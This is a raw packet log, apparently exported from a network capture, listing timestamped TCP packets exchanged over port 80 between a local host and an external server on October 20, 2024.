Oct 20, 2024 21:16:17.362149954 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362163067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362174988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362184048 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.362186909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362199068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362214088 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362236023 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.362262011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.362783909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362796068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362808943 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362821102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362826109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.362832069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362833977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.362843990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362855911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362859011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.362867117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362878084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362884998 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.362890005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362906933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362906933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.362920046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362925053 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.362931967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362942934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.362942934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362956047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362967014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.362967968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362979889 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362991095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362997055 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363002062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363013983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363018036 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363025904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363035917 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363039017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363051891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363054037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363063097 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363073111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363080025 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363085032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363096952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363107920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363116026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363121986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363133907 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363135099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363146067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363153934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363157034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363168955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363179922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363182068 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363192081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363203049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363214016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363221884 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363225937 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363238096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363244057 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363249063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363260031 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363275051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363301992 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363661051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363672972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363682032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363692999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363703966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363711119 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363714933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363725901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363737106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363742113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363748074 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363759041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363760948 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363774061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363801003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363805056 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363817930 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363828897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363840103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363851070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363862038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363864899 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363876104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363883018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363883972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363890886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363897085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363902092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363908052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363913059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363914013 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363919020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363944054 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363965988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.363974094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363985062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.363995075 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364008904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364012003 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.364021063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364032030 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.364032984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364046097 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364056110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.364058018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364068985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364074945 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.364082098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364092112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364099979 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.364103079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364120007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364126921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.364131927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364142895 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364145041 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.364154100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364171982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.364201069 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.364689112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364705086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364716053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364727020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364737988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364737988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.364751101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364768982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.364769936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364784002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364794970 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.364794970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364806890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364818096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364820004 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.364829063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364840031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364845037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.364850998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364861965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364862919 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.364872932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364876986 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.364886999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364898920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364911079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364911079 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.364922047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364933968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364937067 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.364944935 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364953041 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.364957094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364967108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.364978075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.365008116 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.365466118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365478039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365488052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365500927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365510941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365514040 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.365521908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365529060 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.365531921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365541935 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365552902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365556955 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.365564108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365576982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365586042 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.365587950 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365598917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365605116 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.365611076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365622044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365628004 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.365632057 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365642071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365652084 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.365669966 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.365691900 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.365866899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365879059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365889072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365900040 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365912914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365912914 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.365923882 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365935087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365942001 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.365946054 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365957022 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365962982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.365967989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365978956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.365986109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.365989923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366008997 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.366033077 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.366267920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366278887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366290092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366302013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366316080 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.366316080 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366328955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366338968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366344929 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.366348982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366359949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366369009 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.366380930 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366391897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366393089 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.366401911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366415977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366421938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.366435051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366447926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366458893 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.366458893 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366471052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366482019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366487980 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.366492033 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366503000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366509914 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.366513968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366523981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366532087 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.366535902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366548061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366558075 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366563082 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.366574049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366584063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366590977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.366594076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366605997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366616964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366627932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366628885 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.366638899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.366647959 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.366667032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.366683960 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.367233038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367244959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367261887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367275000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367284060 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.367284060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367297888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367302895 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.367310047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367320061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367326975 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.367331028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367347956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367358923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367362022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.367362022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.367369890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367381096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367398977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367409945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367410898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.367420912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367432117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367443085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367444992 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.367454052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367465973 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.367490053 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.367578030 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.367805958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367820024 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367830038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367841005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367851973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367858887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.367863894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367875099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367886066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367891073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.367897987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367908001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367916107 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.367919922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367938042 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.367938995 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367950916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367952108 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.367964029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367979050 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.367985010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.367996931 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.368000984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.368010044 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.368010998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.368025064 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.368029118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.368036032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.368036032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.368048906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.368058920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.368061066 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.368069887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.368074894 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.368081093 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.368093014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.368102074 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.368103027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.368113041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.368127108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.368128061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.368139982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.368145943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.368151903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.368160963 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.368163109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.368175030 CEST	80	49711	185.215.113.37	192.168.2.6
